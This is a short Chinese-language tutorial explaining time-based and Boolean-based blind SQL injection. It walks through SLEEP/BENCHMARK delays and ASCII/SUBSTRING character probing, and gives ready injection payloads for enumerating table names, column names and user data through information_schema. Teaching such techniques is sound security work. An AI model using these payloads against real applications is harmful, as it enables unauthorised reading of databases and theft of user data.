1、时间盲注和布尔盲注
在SQL注入攻击中,时间盲注(Time-Based Blind SQL Injection)和布尔盲注(Boolean-Based Blind SQL Injection)是两种常见的技术,用于在无法直接获取数据的情况下推断数据库信息。
2、时间盲注
时间盲注通过观察数据库响应时间的变化来推断信息。常用的函数包括:
-
SLEEP()
: 使数据库暂停指定的时间。 -
BENCHMARK()
: 通过执行多次计算来延迟响应时间。
例如:
sql
SELECT * FROM users WHERE id = 1 AND IF(1=1, SLEEP(5), 0);
如果条件为真(1=1
),数据库会暂停5秒,否则立即返回。
3、布尔盲注
布尔盲注通过观察数据库返回的布尔值(真/假)来推断信息。常用的函数包括:
-
SUBSTRING()
: 提取字符串的一部分。 -
ASCII()
: 返回字符的ASCII值。 -
LENGTH()
: 返回字符串的长度。
例如:
sql
SELECT * FROM users WHERE id = 1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 1), 1, 1)) > 64;
如果第一个字符的ASCII值大于64,返回真,否则返回假。
4、利用时间盲注、布尔盲注获取表、列、具体数据的函数
利用时间盲注、布尔盲注逐个字符推断表名、列名、具体数据的函数
(1)获取表名
sql
id=1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 OFFSET 0),1,1))=97
(2)获取列名
sql
id=1 AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0),1,1))=117
(3)获取具体数据
sql
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 1 OFFSET 0),1,1))=97